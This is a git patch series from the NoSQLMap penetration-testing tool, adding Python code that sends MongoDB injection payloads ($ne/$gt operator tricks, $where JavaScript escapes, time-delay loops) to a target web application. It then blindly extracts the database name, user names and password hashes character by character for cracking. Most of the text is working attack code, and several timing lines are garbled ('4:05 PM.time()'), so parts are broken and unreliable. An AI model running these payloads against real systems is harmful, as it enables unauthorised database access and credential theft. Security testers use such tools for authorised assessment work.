+ print "Using " + injectString + " for injection testing.\n"
+
+ #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
+ #Add error handling for Non-200 HTTP response codes if random strings freak out the app.
+ postData.update({injOpt:injectString})
+ if verb == "ON":
+ print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
+
+ else:
+ print "Sending random parameter value..."
+
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ randLength = int(len(urllib2.urlopen(req).read()))
+ print "Got response length of " + str(randLength) + "."
+
+ randNormDelta = abs(normLength - randLength)
+
+ if randNormDelta == 0:
+ print "No change in response size injecting a random parameter..\n"
+ else:
+ print "Random value variance: " + str(randNormDelta) + "\n"
+
+ #Generate not equals injection
+ neDict = postData
+ neDict[injOpt + "[$ne]"] = neDict[injOpt]
+ del neDict[injOpt]
+ body = urllib.urlencode(neDict)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..."
+
+ else:
+ print "Test 1: PHP/ExpressJS != associative array injection"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ else:
+ testNum +=1
+ print "\n"
+
+ #Delete the extra key
+ del postData[injOpt + "[$ne]"]
+
+ #generate $gt injection
+ gtDict = postData
+ gtDict.update({injOpt:""})
+ gtDict[injOpt + "[$gt]"] = gtDict[injOpt]
+ del gtDict[injOpt]
+ body = urllib.urlencode(gtDict)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..."
+
+ else:
+ print "Test 2: PHP/ExpressJS > Undefined Injection"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
+ print "Injecting " + str(postData)
+
+ else:
+ print "Test 3: $where injection (string escape)"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ else:
+ testNum += 1
+
+ print "\n"
+
+ postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
+ print "Injecting " + str(postData)
+ else:
+ print "Test 4: $where injection (integer escape)"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ else:
+ testNum += 1
+ print "\n"
+
+ #Start a single record attack in case the app expects only one record back
+ postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
+ print " Injecting " + str(postData)
+
+ else:
+ print "Test 5: $where injection string escape (single record)"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ else:
+ testNum += 1
+ print "\n"
+
+ postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+ if verb == "ON":
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
+ print " Injecting " + str(postData)
+
+ else:
+ print "Test 6: $where injection integer escape (single record)"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ else:
+ testNum += 1
+ print "\n"
+
+ postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+
+ if verb == "ON":
+ print "Testing Mongo this not equals string escape attack for all records..."
+ print " Injecting " + str(postData)
+
+ else:
+ print "Test 7: This != injection (string escape)"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+ print "\n"
+ else:
+ testNum += 1
+
+ postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+
+ if verb == "ON":
+ print "Testing Mongo this not equals integer escape attack for all records..."
+ print " Injecting " + str(postData)
+ else:
+ print "Test 8: This != injection (integer escape)"
+
+ errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(urllib2.urlopen(req).read()))
+ checkResult(randLength,injLen,testNum)
+ testNum += 1
+
+ else:
+ testNum += 1
+ print "\n"
+
+ doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+
+ if doTimeAttack == "y" or doTimeAttack == "Y":
+ print "Starting Javascript string escape time based injection..."
+ postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
+ body = urllib.urlencode(postData)
+ conn = urllib2.urlopen(req,body)
+ start = 4:05 PM.time()
+ page = conn.read()
+ end = 4:05 PM.time()
+ conn.close()
+ print str(end)
+ print str(start)
+ strTimeDelta = (int(round((end - start), 3)) - timeBase)
+ #print str(strTimeDelta)
+ if strTimeDelta > 25:
+ print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
+ strTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
+ strTbAttack = False
+
+ print "Starting Javascript integer escape time based injection..."
+
+ postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
+ body = urllib.urlencode(postData)
+ start = 4:05 PM.time()
+ conn = urllib2.urlopen(req,body)
+ page = conn.read()
+ end = 4:05 PM.time()
+ conn.close()
+ print str(end)
+ print str(start)
+ intTimeDelta = ((end-start) - timeBase)
+ #print str(strTimeDelta)
+ if intTimeDelta > 25:
+ print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
+ intTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
+ intTbAttack = False
+
+ print "\n"
+ print "Exploitable requests:"
+ print "\n".join(vulnAddrs)
+ print "\n"
+ print "Possibly vulnerable requests:"
+ print"\n".join(possAddrs)
+ print "\n"
+ print "Timing based attacks:"
+
+ if strTbAttack == True:
+ print "String attack-Successful"
+ else:
+ print "String attack-Unsuccessful"
+ if intTbAttack == True:
+ print "Integer attack-Successful"
+ else:
+ print "Integer attack-Unsuccessful"
+
+ fileOut = raw_input("Save results to file (y/n)? ")
+
+ if fileOut in yes_tag:
+ savePath = raw_input("Enter output file name: ")
+ fo = open(savePath, "wb")
+ fo.write ("Vulnerable Requests:\n")
+ fo.write("\n".join(vulnAddrs))
+ fo.write("\n\n")
+ fo.write("Possibly Vulnerable Requests:\n")
+ fo.write("\n".join(possAddrs))
+ fo.write("\n")
+ fo.write("Timing based attacks:\n")
+
+ if strTbAttack == True:
+ fo.write("String Attack-Successful\n")
+ else:
+ fo.write("String Attack-Unsuccessful\n")
+ fo.write("\n")
+
+ if intTbAttack == True:
+ fo.write("Integer attack-Successful\n")
+ else:
+ fo.write("Integer attack-Unsuccessful\n")
+ fo.write("\n")
+ fo.close()
+
+ raw_input("Press enter to continue...")
+ return()
+
+def errorTest (errorCheck,testNum):
+ global possAddrs
+ global httpMethod
+ global neDict
+ global gtDict
+ global postData
+
+ if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1:
+ print "Injection returned a MongoDB Error. Injection may be possible."
+
+ if httpMethod == "GET":
+ possAddrs.append(uriArray[testNum])
+ return True
+
+ else:
+ if testNum == 1:
+ possAddrs.append(str(neDict))
+ return True
+
+ elif testNum == 2:
+ possAddrs.append(str(gtDict))
+ return True
+
+ else:
+ possAddrs.append(str(postData))
+ return True
+ else:
+ return False
+
+
+
+def checkResult(baseSize,respSize,testNum):
+ global vulnAddrs
+ global possAddrs
+ global lt24
+ global str24
+ global int24
+ global httpMethod
+ global neDict
+ global gtDict
+ global postData
+
+ delta = abs(respSize - baseSize)
+ if (delta >= 100) and (respSize != 0) :
+ if verb == "ON":
+ print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!"
+ else:
+ print "Successful injection!"
+
+ if httpMethod == "GET":
+ vulnAddrs.append(uriArray[testNum])
+ else:
+ if testNum == 1:
+ vulnAddrs.append(str(neDict))
+
+ elif testNum == 2:
+ vulnAddrs.append(str(gtDict))
+ else:
+ vulnAddrs.append(str(postData))
+
+ if testNum == 3 or testNum == 5:
+ lt24 = True
+ str24 = True
+
+ elif testNum == 4 or testNum == 6:
+ lt24 = True
+ int24 = True
+ return
+
+ elif (delta > 0) and (delta < 100) and (respSize != 0) :
+ if verb == "ON":
+ print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. "
+ else:
+ print "Possible injection."
+
+ if httpMethod == "GET":
+ possAddrs.append(uriArray[testNum])
+ else:
+ if testNum == 1:
+ possAddrs.append(str(neDict))
+ else:
+ possAddrs.append(str(postData))
+ return
+
+ elif (delta == 0):
+ if verb == "ON":
+ print "Random string response size and not equals injection were the same. Injection did not work."
+ else:
+ print "Injection failed."
+ return
+
+ else:
+ if verb == "ON":
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
+ else:
+ print "Possible injection."
+ if httpMethod == "GET":
+ possAddrs.append(uriArray[testNum])
+ else:
+ if testNum == 1:
+ possAddrs.append(str(neDict))
+ else:
+ possAddrs.append(str(postData))
+ return
+
+def randInjString(size):
+ print "What format should the random string take?"
+ print "1-Alphanumeric"
+ print "2-Letters only"
+ print "3-Numbers only"
+ print "4-Email address"
+ format = True
+
+ while format:
+ format = raw_input("Select an option: ")
+
+ if format == "1":
+ chars = string.ascii_letters + string.digits
+ return ''.join(random.choice(chars) for x in range(size))
+
+ elif format == "2":
+ chars = string.ascii_letters
+ return ''.join(random.choice(chars) for x in range(size))
+
+ elif format == "3":
+ chars = string.digits
+ return ''.join(random.choice(chars) for x in range(size))
+
+ elif format == "4":
+ chars = string.ascii_letters + string.digits
+ return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
+ else:
+ format = True
+ print "Invalid selection."
+
+
+def buildUri(origUri, randValue):
+ paramName = []
+ paramValue = []
+ global uriArray
+ uriArray = ["","","","","","","","","","","","","","","","","","",""]
+ injOpt = ""
+
+ #Split the string between the path and parameters, and then split each parameter
+ try:
+ split_uri = origUri.split("?")
+ params = split_uri[1].split("&")
+
+ except:
+ raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...")
+ return
+
+ for item in params:
+ index = item.find("=")
+ paramName.append(item[0:index])
+ paramValue.append(item[index + 1:len(item)])
+
+ menuItem = 1
+ print "List of parameters:"
+ for params in paramName:
+ print str(menuItem) + "-" + params
+ menuItem += 1
+
+ try:
+ injIndex = raw_input("Which parameter should we inject? ")
+ injOpt = str(paramName[int(injIndex)-1])
+ print "Injecting the " + injOpt + " parameter..."
+
+ except:
+ raw_input("Something went wrong. Press enter to return to the main menu...")
+ return
+
+ x = 0
+ uriArray[0] = split_uri[0] + "?"
+ uriArray[1] = split_uri[0] + "?"
+ uriArray[2] = split_uri[0] + "?"
+ uriArray[3] = split_uri[0] + "?"
+ uriArray[4] = split_uri[0] + "?"
+ uriArray[5] = split_uri[0] + "?"
+ uriArray[6] = split_uri[0] + "?"
+ uriArray[7] = split_uri[0] + "?"
+ uriArray[8] = split_uri[0] + "?"
+ uriArray[9] = split_uri[0] + "?"
+ uriArray[10] = split_uri[0] + "?"
+ uriArray[11] = split_uri[0] + "?"
+ uriArray[12] = split_uri[0] + "?"
+ uriArray[13] = split_uri[0] + "?"
+ uriArray[14] = split_uri[0] + "?"
+ uriArray[15] = split_uri[0] + "?"
+ uriArray[16] = split_uri[0] + "?"
+ uriArray[17] = split_uri[0] + "?"
+ uriArray[18] = split_uri[0] + "?"
+
+ for item in paramName:
+ if paramName[x] == injOpt:
+ uriArray[0] += paramName[x] + "=" + randValue + "&"
+ uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
+ uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
+ uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
+ uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
+ uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
+ uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
+ uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
+ uriArray[8] += paramName[x] + "[$gt]=&"
+ uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
+ uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&"
+ uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&"
+ uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
+ uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
+ uriArray[14] += paramName[x] + "a'; return true; var dum='a"
+ uriArray[15] += paramName[x] + "1; return true; var dum=2"
+ #Add values that can be manipulated for database attacks
+ uriArray[16] += paramName[x] + "=a\'; ---"
+ uriArray[17] += paramName[x] + "=1; if ---"
+ uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
+
+ else:
+ uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[1] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[2] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[3] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[4] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[5] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[6] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[7] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[8] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[9] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[10] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[11] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[12] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[13] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[14] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[15] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[16] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[17] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[18] += paramName[x] + "=" + paramValue[x] + "&"
+ x += 1
+
+ #Clip the extra & off the end of the URL
+ x = 0
+ while x <= 17:
+ uriArray[x]= uriArray[x][:-1]
+ x += 1
+
+ return uriArray[0]
+
+def getDBInfo():
+ curLen = 0
+ nameLen = 0
+ gotFullDb = False
+ gotNameLen = False
+ gotDbName = False
+ gotColLen = False
+ gotColName = False
+ gotUserCnt = False
+ finUser = False
+ dbName = ""
+ charCounter = 0
+ nameCounter = 0
+ usrCount = 0
+ retrUsers = 0
+ users = []
+ hashes = []
+ crackHash = ""
+
+ chars = string.ascii_letters + string.digits
+ print "Getting baseline True query return size..."
+ trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
+ #print "Debug " + str(trueUri)
+ req = urllib2.Request(trueUri, None, requestHeaders)
+ baseLen = int(len(urllib2.urlopen(req).read()))
+ print "Got baseline true query length of " + str(baseLen)
+
+ print "Calculating DB name length..."
+
+ while gotNameLen == False:
+ calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
+ #print "Debug: " + calcUri
+ req = urllib2.Request(calcUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+ #print "Debug length: " + str(lenUri)
+
+ if lenUri == baseLen:
+ print "Got database name length of " + str(curLen) + " characters."
+ gotNameLen = True
+
+ else:
+ curLen += 1
+
+ print "Database Name: ",
+ while gotDbName == False:
+ charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(charUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ dbName = dbName + chars[charCounter]
+ print chars[charCounter],
+ nameCounter += 1
+ charCounter = 0
+
+ if nameCounter == curLen:
+ gotDbName = True
+
+
+ else:
+ charCounter += 1
+ print "\n"
+
+ getUserInf = raw_input("Get database users and password hashes (y/n)? ")
+
+ if getUserInf in yes_tag:
+ charCounter = 0
+ nameCounter = 0
+ #find the total number of users on the database
+ while gotUserCnt == False:
+ usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
+
+ req = urllib2.Request(usrCntUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ print "Found " + str(usrCount) + " user(s)."
+ gotUserCnt = True
+
+ else:
+ usrCount += 1
+
+ usrChars = 0 #total number of characters in username
+ charCounterUsr = 0 #position in the character array-Username
+ rightCharsUsr = 0 #number of correct characters-Username
+ rightCharsHash = 0 #number of correct characters-hash
+ charCounterHash = 0 #position in the character array-hash
+ username = ""
+ pwdHash = ""
+ charCountUsr = False
+ query = "{}"
+
+ while retrUsers < usrCount:
+ if retrUsers == 0:
+ while charCountUsr == False:
+ #different query to get the first user vs. others
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ #Got the right number of characters
+ charCountUsr = True
+
+ else:
+ usrChars += 1
+
+ while rightCharsUsr < usrChars:
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ username = username + chars[charCounterUsr]
+ #print username
+ rightCharsUsr += 1
+ charCounterUsr = 0
+
+ else:
+ charCounterUsr += 1
+
+ retrUsers += 1
+ users.append(username)
+ #reinitialize all variables and get ready to do it again
+ #print str(retrUsers)
+ #print str(users)
+ charCountUsr = False
+ rightCharsUsr = 0
+ usrChars = 0
+ username = ""
+
+ while rightCharsHash < 32: #Hash length is static
+ hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(hashUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ pwdHash = pwdHash + chars[charCounterHash]
+ #print pwdHash
+ rightCharsHash += 1
+ charCounterHash = 0
+
+ else:
+ charCounterHash += 1
+
+ hashes.append(pwdHash)
+ print "Got user:hash " + users[0] + ":" + hashes[0]
+ #reinitialize all variables and get ready to do it again
+ charCounterHash = 0
+ rightCharsHash = 0
+ pwdHash = ""
+ else:
+ while charCountUsr == False:
+ #different query to get the first user vs. others
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ #Got the right number of characters
+ charCountUsr = True
+
+ else:
+ usrChars += 1
+
+ while rightCharsUsr < usrChars:
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ username = username + chars[charCounterUsr]
+ #print username
+ rightCharsUsr += 1
+ charCounterUsr = 0
+
+ else:
+ charCounterUsr += 1
+
+ retrUsers += 1
+ #reinitialize all variables and get ready to do it again
+
+ charCountUsr = False
+ rightCharsUsr = 0
+ usrChars = 0
+
+ while rightCharsHash < 32: #Hash length is static
+ hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
+
+ req = urllib2.Request(hashUri, None, requestHeaders)
+ lenUri = int(len(urllib2.urlopen(req).read()))
+
+ if lenUri == baseLen:
+ pwdHash = pwdHash + chars[charCounterHash]
+ rightCharsHash += 1
+ charCounterHash = 0
+
+ else:
+ charCounterHash += 1
+
+ users.append(username)
+ hashes.append(pwdHash)
+ print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1]
+ #reinitialize all variables and get ready to do it again
+ username = ""
+ charCounterHash = 0
+ rightCharsHash = 0
+ pwdHash = ""
+ crackHash = raw_input("Crack recovered hashes (y/n)?: ")
+
+ while crackHash in yes_tag:
+ menuItem = 1
+ for user in users:
+ print str(menuItem) + "-" + user
+ menuItem +=1
+
+ userIndex = raw_input("Select user hash to crack: ")
+ nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1])
+
+ crackHash = raw_input("Crack another hash (y/n)?")
+ raw_input("Press enter to continue...")
+ return
+
From 807a58c22e8bffd8ce279fe53870b241f69cbe29 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Sat, 4 Jun 2016 18:14:02 -0500
Subject: [PATCH 11/99] Fix IDE created issues
---
nosqlmap.py | 456 ++++++++++++++++++++++++++++++++++++++++++++++++++++
nsmweb.py | 22 +--
2 files changed, 467 insertions(+), 11 deletions(-)
create mode 100755 nosqlmap.py
diff --git a/nosqlmap.py b/nosqlmap.py
new file mode 100755
index 0000000..a1a8c20
--- /dev/null
+++ b/nosqlmap.py
@@ -0,0 +1,456 @@
+#!/usr/bin/python
+#NoSQLMap Copyright 2014 Russell Butturini
+#This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+#the Free Software Foundation, either version 3 of the License, or
+#(at your option) any later version.
+
+#This program is distributed in the hope that it will be useful,
+#but WITHOUT ANY WARRANTY; without even the implied warranty of
+#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+#GNU General Public License for more details.
+
+#You should have received a copy of the GNU General Public License
+#along with this program. If not, see .
+
+
+import sys
+import nsmcouch
+import nsmmongo
+import nsmscan
+import nsmweb
+import os
+import signal
+import ast
+
+def main():
+ signal.signal(signal.SIGINT, signal_handler)
+ global optionSet
+ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
+ optionSet = [False]*9
+ global yes_tag
+ global no_tag
+ yes_tag = ['y', 'Y']
+ no_tag = ['n', 'N']
+ global victim
+ global webPort
+ global uri
+ global httpMethod
+ global platform
+ global https
+ global myIP
+ global myPort
+ global verb
+ global scanNeedCreds
+ global dbPort
+ #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
+ platform = "MongoDB"
+ dbPort = 27017
+ myIP = "Not Set"
+ myPort = "Not Set"
+ mainMenu()
+
+def mainMenu():
+ global platform
+ global victim
+ global dbPort
+ global myIP
+ global myPort
+
+ mmSelect = True
+ while mmSelect:
+ os.system('clear')
+ print "===================================================="
+ print " _ _ _____ _____ _ ___ ___ "
+ print "| \ | | / ___|| _ | | | \/ | "
+ print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ "
+ print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ "
+ print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |"
+ print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
+ print "===================================================="
+ print "NoSQLMap-v0.6ALPHA"
+ print "nosqlmap@gmail.com"
+ print "\n"
+ print "1-Set options"
+ print "2-NoSQL DB Access Attacks"
+ print "3-NoSQL Web App attacks"
+ print "4-Scan for Anonymous " + platform + " Access"
+ print "5-Change Platform (Current: " + platform + ")"
+ print "x-Exit"
+
+ select = raw_input("Select an option: ")
+
+ if select == "1":
+ options()
+
+ elif select == "2":
+ if optionSet[0] == True and optionSet[4] == True:
+ if platform == "MongoDB":
+ nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
+
+ elif platform == "CouchDB":
+ nsmcouch.netAttacks(victim, dbPort, myIP)
+
+ #Check minimum required options
+ else:
+ raw_input("Target not set! Check options. Press enter to continue...")
+
+
+ elif select == "3":
+ #Check minimum required options
+ if (optionSet[0] == True) and (optionSet[2] == True):
+ if httpMethod == "GET":
+ nsmweb.getApps()
+
+ else:
+ nsmweb.postApps()
+
+ else:
+ raw_input("Options not set! Check host and URI path. Press enter to continue...")
+
+
+ elif select == "4":
+ scanResult = nsmscan.massScan(platform)
+
+ if scanResult != None:
+ optionSet[0] = True
+ victim = scanResult[1]
+
+ elif select == "5":
+ platSel()
+
+ elif select == "x":
+ sys.exit()
+
+ else:
+ raw_input("Invalid selection. Press enter to continue.")
+
+def platSel():
+ global platform
+ global dbPort
+ select = True
+ print "\n"
+ while select:
+ print "1-MongoDB"
+ print "2-CouchDB"
+ pSel = raw_input("Select a platform: ")
+
+ if pSel == "1":
+ platform = "MongoDB"
+ dbPort = 27017
+ return
+
+ elif pSel == "2":
+ platform = "CouchDB"
+ dbPort = 5984
+ return
+ else:
+ psel = True
+ raw_input("Invalid selection. Press enter to continue.")
+
+def options():
+ global victim
+ global webPort
+ global uri
+ global https
+ global platform
+ global httpMethod
+ global postData
+ global myIP
+ global myPort
+ global verb
+ global mmSelect
+ global dbPort
+ global requestHeaders
+ requestHeaders = {}
+ optSelect = True
+
+ #Set default value if needed
+ if optionSet[0] == False:
+ global victim
+ victim = "Not Set"
+ if optionSet[1] == False:
+ global webPort
+ webPort = 80
+ optionSet[1] = True
+ if optionSet[2] == False:
+ global uri
+ uri = "Not Set"
+ if optionSet[3] == False:
+ global httpMethod
+ httpMethod = "GET"
+ if optionSet[4] == False:
+ global myIP
+ myIP = "Not Set"
+ if optionSet[5] == False:
+ global myPort
+ myPort = "Not Set"
+ if optionSet[6] == False:
+ verb = "OFF"
+ optSelect = True
+ if optionSet[8] == False:
+ https = "OFF"
+ optSelect = True
+
+ while optSelect:
+ print "\n\n"
+ print "Options"
+ print "1-Set target host/IP (Current: " + str(victim) + ")"
+ print "2-Set web app port (Current: " + str(webPort) + ")"
+ print "3-Set App Path (Current: " + str(uri) + ")"
+ print "4-Toggle HTTPS (Current: " + str(https) + ")"
+ print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")"
+ print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")"
+ print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")"
+ print "8-Set shell listener port (Current: " + str(myPort) + ")"
+ print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")"
+ print "0-Load options file"
+ print "a-Load options from saved Burp request"
+ print "b-Save options file"
+ print "h-Set headers"
+ print "x-Back to main menu"
+
+ select = raw_input("Select an option: ")
+
+ if select == "1":
+ #Unset the boolean if it's set since we're setting it again.
+ optionSet[0] = False
+ ipLen = False
+
+ while optionSet[0] == False:
+ goodDigits = True
+ notDNS = True
+ victim = raw_input("Enter the host IP/DNS name: ")
+ #make sure we got a valid IP
+ octets = victim.split(".")
+
+ if len(octets) != 4:
+ #Treat this as a DNS name
+ optionSet[0] = True
+ notDNS = False
+ else:
+ #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
+ #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+ for item in octets:
+ try:
+ if int(item) < 0 or int(item) > 255:
